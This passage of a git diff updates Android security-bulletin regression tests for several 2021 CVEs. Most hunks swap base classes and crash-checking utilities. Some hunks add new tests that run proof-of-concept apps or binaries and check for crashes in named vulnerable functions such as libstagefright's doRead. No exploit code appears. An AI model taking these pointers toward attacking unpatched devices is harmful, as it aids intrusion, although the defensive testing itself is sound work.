+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assume.assumeNoException;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_0704 extends NonRootSecurityTestCase {
+ private static final String TEST_PKG = "android.security.cts.CVE_2021_0704_test";
+
+ // b/179338675
+ // Vulnerable library : services.jar
+ // Vulnerable module : Not applicable
+ // Is Play managed : No
+ @AsbSecurityTest(cveBugId = 179338675)
+ @Test
+ public void testPocCVE_2021_0704() {
+ try {
+ ITestDevice device = getDevice();
+
+ // Installing the stub and test applications
+ installPackage("CVE-2021-0704-test.apk");
+ installPackage("CVE-2021-0704-stub.apk");
+
+ // Running the test "testAccountsObtainable"
+ runDeviceTests(TEST_PKG, TEST_PKG + ".DeviceTest", "testAccountsObtainable");
+ } catch (Exception e) {
+ assumeNoException(e);
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0706.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0706.java
index fabaf89..9225b56 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0706.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0706.java
@@ -20,13 +20,13 @@
import android.platform.test.annotations.AsbSecurityTest;
import com.android.tradefed.device.ITestDevice;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import org.junit.Before;
import org.junit.runner.RunWith;
import org.junit.Test;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0706 extends StsExtraBusinessLogicHostTestBase {
+public class CVE_2021_0706 extends NonRootSecurityTestCase {
private static final String TEST_PKG = "android.security.cts.CVE_2021_0706";
private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0919.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0919.java
index 3ae0303..095fdd3 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0919.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0919.java
@@ -18,13 +18,16 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
-import com.android.compatibility.common.util.CrashUtils;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.sts.common.util.TombstoneUtils;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0919 extends SecurityTestCase {
+public class CVE_2021_0919 extends NonRootSecurityTestCase {
/**
* b/197336441
@@ -35,9 +38,9 @@
public void testPocCVE_2021_0919() throws Exception {
pocPusher.only32();
String binaryName = "CVE-2021-0919";
- String signals[] = {CrashUtils.SIGABRT};
+ String signals[] = {TombstoneUtils.Signals.SIGABRT};
AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
- testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+ testConfig.config = new TombstoneUtils.Config().setProcessPatterns(binaryName);
testConfig.config.setSignals(signals);
AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0921.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0921.java
index 760c265..d4f6a45 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0921.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0921.java
@@ -20,7 +20,7 @@
import android.util.Log;
import android.platform.test.annotations.AsbSecurityTest;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.log.LogUtil.CLog;
import org.junit.After;
import org.junit.Assert;
@@ -30,7 +30,7 @@
import static org.junit.Assert.*;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0921 extends StsExtraBusinessLogicHostTestBase {
+public class CVE_2021_0921 extends NonRootSecurityTestCase {
private static final String TEST_PKG = "android.security.cts.CVE_2021_0921";
private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
private static final String TEST_APP = "CVE-2021-0921.apk";
@@ -57,7 +57,7 @@
getDevice().executeShellCommand("input keyevent KEYCODE_MENU");
//run the test
- Assert.assertTrue(runDeviceTests(TEST_PKG, TEST_CLASS, "test"));
+ runDeviceTests(TEST_PKG, TEST_CLASS, "test");
CLog.i("testRunDeviceTest() end");
}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0925.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0925.java
index 6176589..5802549 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0925.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0925.java
@@ -15,14 +15,18 @@
*/
package android.security.cts;
+
import android.platform.test.annotations.AsbSecurityTest;
-import com.android.compatibility.common.util.CrashUtils;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.sts.common.util.TombstoneUtils;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0925 extends SecurityTestCase {
+public class CVE_2021_0925 extends NonRootSecurityTestCase {
/**
* Vulnerability Behaviour: SIGSEGV in self
@@ -33,9 +37,9 @@
pocPusher.only64();
String binaryName = "CVE-2021-0925";
String inputFiles[] = {"cve_2021_0925"};
- String signals[] = {CrashUtils.SIGSEGV};
+ String signals[] = {TombstoneUtils.Signals.SIGSEGV};
AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
- testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+ testConfig.config = new TombstoneUtils.Config().setProcessPatterns(binaryName);
testConfig.config.setSignals(signals);
testConfig.arguments = AdbUtils.TMP_PATH + inputFiles[0];
AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0928.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0928.java
index cbf1088..d83f26a 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0928.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0928.java
@@ -23,7 +23,7 @@
import com.android.tradefed.log.LogUtil.CLog;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import org.junit.Assert;
import org.junit.Before;
@@ -31,7 +31,7 @@
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0928 extends StsExtraBusinessLogicHostTestBase {
+public class CVE_2021_0928 extends NonRootSecurityTestCase {
private static final String TEST_PKG = "android.security.cts.CVE_2021_0928";
private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
private static final String TEST_APP = "CVE-2021-0928.apk";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0953.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0953.java
index ecb6bdd..833b93a 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0953.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0953.java
@@ -19,13 +19,13 @@
import android.platform.test.annotations.AsbSecurityTest;
import com.android.tradefed.device.ITestDevice;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0953 extends StsExtraBusinessLogicHostTestBase {
+public class CVE_2021_0953 extends NonRootSecurityTestCase {
@AsbSecurityTest(cveBugId = 184046278)
@Test
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0954.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0954.java
index 5532e46..847feef 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0954.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0954.java
@@ -1,5 +1,5 @@
/*
- * Copyright (C) 2021 The Android Open Source Project
+ * Copyright (C) 2022 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
@@ -16,43 +16,39 @@
package android.security.cts;
-import android.platform.test.annotations.AppModeFull;
+import static org.junit.Assume.assumeNoException;
+
import android.platform.test.annotations.AsbSecurityTest;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.device.ITestDevice;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
-import org.junit.Assert;
-import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0954 extends BaseHostJUnit4Test {
- private static final String TEST_PKG = "android.security.cts.cve_2021_0954";
- private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
- private static final String TEST_APP = "CVE-2021-0954.apk";
- private ITestDevice device;
+public class CVE_2021_0954 extends NonRootSecurityTestCase {
+ private static final String TEST_PKG = "android.security.cts.CVE_2021_0954";
- @Before
- public void setUp() throws Exception {
- device = getDevice();
- uninstallPackage(device, TEST_PKG);
-
- /* Wake up the screen */
- AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device);
- AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device);
- AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
- }
-
- @AppModeFull
@AsbSecurityTest(cveBugId = 143559931)
@Test
public void testPocCVE_2021_0954() throws Exception {
- installPackage(TEST_APP);
- AdbUtils.runCommandLine("pm grant " + TEST_PKG + " android.permission.SYSTEM_ALERT_WINDOW",
- device);
- runDeviceTests(TEST_PKG, TEST_CLASS, "testVulnerableActivityPresence");
+ try {
+ ITestDevice device = getDevice();
+ uninstallPackage(device, TEST_PKG);
+
+ /* Wake up the screen */
+ AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device);
+ AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device);
+ AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
+
+ installPackage("CVE-2021-0954.apk");
+ AdbUtils.runCommandLine(
+ "pm grant " + TEST_PKG + " android.permission.SYSTEM_ALERT_WINDOW", device);
+ runDeviceTests(TEST_PKG, TEST_PKG + "." + "DeviceTest", "testOverlayButtonPresence");
+ } catch (Exception e) {
+ assumeNoException(e);
+ }
}
}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0956.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0956.java
index 80fa239..68eabde 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0956.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0956.java
@@ -17,14 +17,17 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
-import com.android.compatibility.common.util.CrashUtils;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.sts.common.util.TombstoneUtils;
import com.android.tradefed.device.ITestDevice;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0956 extends SecurityTestCase {
+public class CVE_2021_0956 extends NonRootSecurityTestCase {
/**
* b/189942532
@@ -38,9 +41,9 @@
AdbUtils.assumeHasNfc(device);
assumeIsSupportedNfcDevice(device);
String binaryName = "CVE-2021-0956";
- String signals[] = {CrashUtils.SIGABRT};
+ String signals[] = {TombstoneUtils.Signals.SIGABRT};
AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, device);
- testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+ testConfig.config = new TombstoneUtils.Config().setProcessPatterns(binaryName);
testConfig.config.setSignals(signals);
AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0963.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0963.java
new file mode 100644
index 0000000..645f909
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0963.java
@@ -0,0 +1,66 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assume.assumeNoException;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_0963 extends NonRootSecurityTestCase {
+
+ // b/199754277
+ // Vulnerable app : KeyChain.apk
+ // Vulnerable module : com.android.keychain
+ // Is Play managed : No
+ @AsbSecurityTest(cveBugId = 199754277)
+ @Test
+ public void testPocCVE_2021_0963() {
+ int userId = 0;
+ String component = null;
+ ITestDevice device = null;
+ try {
+ // Install the application
+ installPackage("CVE-2021-0963.apk", "-t");
+
+ // Set test-app as device owner.
+ final String testPkg = "android.security.cts.CVE_2021_0963";
+ component = testPkg + "/" + testPkg + ".PocDeviceAdminReceiver";
+ device = getDevice();
+ device.setDeviceOwner(component, userId);
+
+ // Run the device test "testOverlayButtonPresence"
+ runDeviceTests(testPkg, testPkg + ".DeviceTest", "testOverlayButtonPresence");
+ } catch (Exception e) {
+ assumeNoException(e);
+ } finally {
+ try {
+ // Remove test-app as device owner.
+ device.removeAdmin(component, userId);
+ } catch (Exception e) {
+ // ignore
+ }
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0965.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0965.java
index 65934f2..b7b0e2b 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0965.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0965.java
@@ -21,7 +21,7 @@
import android.platform.test.annotations.AsbSecurityTest;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import org.junit.Assert;
import org.junit.Before;
@@ -29,7 +29,7 @@
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0965 extends StsExtraBusinessLogicHostTestBase {
+public class CVE_2021_0965 extends NonRootSecurityTestCase {
private static final String TEST_PKG = "android.security.cts.CVE_2021_0965";
private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
private static final String TEST_APP = "CVE-2021-0965.apk";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_1906.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_1906.java
index bfa056b..9a56b0c 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_1906.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_1906.java
@@ -19,12 +19,15 @@
import static org.junit.Assume.*;
import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_1906 extends SecurityTestCase {
+public class CVE_2021_1906 extends NonRootSecurityTestCase {
/**
* CVE-2021-1906
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_30351.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_30351.java
index 415e2b1..1031df8 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_30351.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_30351.java
@@ -15,15 +15,18 @@
*/
package android.security.cts;
-import android.platform.test.annotations.SecurityTest;
-import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import org.junit.Test;
-import org.junit.runner.RunWith;
import android.platform.test.annotations.AsbSecurityTest;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.sts.common.util.TombstoneUtils;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_30351 extends SecurityTestCase {
+public class CVE_2021_30351 extends NonRootSecurityTestCase {
/**
* CVE-2021-30351
@@ -37,7 +40,8 @@
String packageName = "android.security.cts.CVE_2021_30351";
ITestDevice device = getDevice();
- try {
+ TombstoneUtils.Config config = new TombstoneUtils.Config().setProcessPatterns("media.codec");
+ try (AutoCloseable a = TombstoneUtils.withAssertNoSecurityCrashes(getDevice(), config)) {
/* Push the app to /data/local/tmp */
pocPusher.appendBitness(false);
pocPusher.pushFile(apkName, appPath);
@@ -58,11 +62,6 @@
} finally {
/* Un-install the app after the test */
AdbUtils.runCommandLine("pm uninstall " + packageName, device);
-
- /* Check if media.codec has crashed thereby indicating the presence */
- /* of the vulnerability */
- String logcat = AdbUtils.runCommandLine("logcat -d", device);
- AdbUtils.assertNoCrashes(getDevice(), "media.codec");
}
}
}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39623.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39623.java
new file mode 100644
index 0000000..d88cc83
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39623.java
@@ -0,0 +1,56 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.sts.common.util.TombstoneUtils;
+import com.android.sts.common.util.TombstoneUtils.Config.BacktraceFilterPattern;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.Arrays;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_39623 extends NonRootSecurityTestCase {
+
+ /**
+ * b/194105348
+ * Vulnerability Behaviour: SIGSEGV in self
+ * Vulnerable Library: libstagefright (As per AOSP code)
+ * Vulnerable Function: doRead (As per AOSP code)
+ */
+ @AsbSecurityTest(cveBugId = 194105348)
+ @Test
+ public void testPocCVE_2021_39623() throws Exception {
+ String binaryName = "CVE-2021-39623";
+ AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
+ testConfig.config = new TombstoneUtils.Config().setProcessPatterns(binaryName)
+ .setBacktraceIncludes(new BacktraceFilterPattern("libstagefright",
+ "android::SimpleDecodingSource::doRead"));
+ String signals[] = {TombstoneUtils.Signals.SIGSEGV};
+ testConfig.config.setSignals(signals);
+ testConfig.inputFilesDestination = AdbUtils.TMP_PATH;
+ String inputFiles[] = {"cve_2021_39623.ogg"};
+ testConfig.inputFiles = Arrays.asList(inputFiles);
+ testConfig.arguments = AdbUtils.TMP_PATH + inputFiles[0];
+ AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39626.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39626.java
index 3b12ce5..c47ebf1 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39626.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39626.java
@@ -18,7 +18,7 @@
import android.platform.test.annotations.AsbSecurityTest;
-import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.device.ITestDevice;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
@@ -26,7 +26,7 @@
import org.junit.Test;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_39626 extends StsExtraBusinessLogicHostTestBase {
+public class CVE_2021_39626 extends NonRootSecurityTestCase {
static final String TEST_APP = "CVE-2021-39626.apk";
static final String TEST_PKG = "android.security.cts.CVE_2021_39626";
static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39664.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39664.java
index 6cac004..930138f 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39664.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39664.java
@@ -18,18 +18,19 @@
import android.platform.test.annotations.AsbSecurityTest;
-import com.android.compatibility.common.util.CrashUtils;
-import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.sts.common.util.TombstoneUtils;
+import com.android.sts.common.util.TombstoneUtils.Config.BacktraceFilterPattern;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import org.junit.runner.RunWith;
import org.junit.Test;
+import org.junit.runner.RunWith;
import java.util.Arrays;
import java.util.regex.Pattern;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_39664 extends SecurityTestCase {
+public class CVE_2021_39664 extends NonRootSecurityTestCase {
/**
* b/203938029
@@ -41,10 +42,10 @@
@Test
public void testPocCVE_2021_39664() throws Exception {
String inputFiles[] = {"cve_2021_39664"};
- String signals[] = {CrashUtils.SIGSEGV};
+ String signals[] = {TombstoneUtils.Signals.SIGSEGV};
String binaryName = "CVE-2021-39664";
AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
- testConfig.config = new CrashUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
+ testConfig.config = new TombstoneUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
.setBacktraceIncludes(new BacktraceFilterPattern("libandroidfw",
"android::LoadedPackage::Load"));
testConfig.config.setSignals(signals);
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39665.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39665.java
index 311b5ce..ef37133 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39665.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39665.java
@@ -18,8 +18,9 @@
import android.platform.test.annotations.AsbSecurityTest;
-import com.android.compatibility.common.util.CrashUtils;
-import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.sts.common.util.TombstoneUtils;
+import com.android.sts.common.util.TombstoneUtils.Config.BacktraceFilterPattern;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
import org.junit.Test;
@@ -28,7 +29,7 @@
import java.util.regex.Pattern;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_39665 extends SecurityTestCase {
+public class CVE_2021_39665 extends NonRootSecurityTestCase {
/**
* b/204077881
@@ -39,10 +40,10 @@
@AsbSecurityTest(cveBugId = 204077881)
@Test
public void testPocCVE_2021_39665() throws Exception {
- String[] signals = {CrashUtils.SIGSEGV};
+ String[] signals = {TombstoneUtils.Signals.SIGSEGV};
String binaryName = "CVE-2021-39665";
AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
- testConfig.config = new CrashUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
+ testConfig.config = new TombstoneUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
.setBacktraceIncludes(new BacktraceFilterPattern("libmediaplayerservice",
"android::AAVCAssembler::checkSpsUpdated"));
testConfig.config.setSignals(signals);
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39675.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39675.java
index 8f12b52..eb2c5ab 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39675.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39675.java
@@ -18,13 +18,14 @@
import android.platform.test.annotations.AsbSecurityTest;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import org.junit.runner.RunWith;
import org.junit.Test;
+import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_39675 extends SecurityTestCase {
+public class CVE_2021_39675 extends NonRootSecurityTestCase {
/**
* b/205729183
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39692.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39692.java
index 444f1a5..f755142 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39692.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39692.java
@@ -23,13 +23,13 @@
import com.android.tradefed.device.ITestDevice;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_39692 extends StsExtraBusinessLogicHostTestBase {
+public class CVE_2021_39692 extends NonRootSecurityTestCase {
@AppModeFull
@AsbSecurityTest(cveBugId = 209611539)
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39700.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39700.java
index acc6a2e..63235ec 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39700.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39700.java
@@ -23,7 +23,7 @@
import com.android.tradefed.device.ITestDevice;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import org.junit.Test;
import org.junit.runner.RunWith;
@@ -31,7 +31,7 @@
import java.io.File;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_39700 extends StsExtraBusinessLogicHostTestBase {
+public class CVE_2021_39700 extends NonRootSecurityTestCase {
/**
* b/201645790
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39701.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39701.java
index f8d6fe6..5e78a90 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39701.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39701.java
@@ -18,7 +18,7 @@
import android.platform.test.annotations.AsbSecurityTest;
-import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.device.ITestDevice;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
@@ -26,7 +26,7 @@
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_39701 extends StsExtraBusinessLogicHostTestBase {
+public class CVE_2021_39701 extends NonRootSecurityTestCase {
@AsbSecurityTest(cveBugId = 212286849)
@Test
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39702.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39702.java
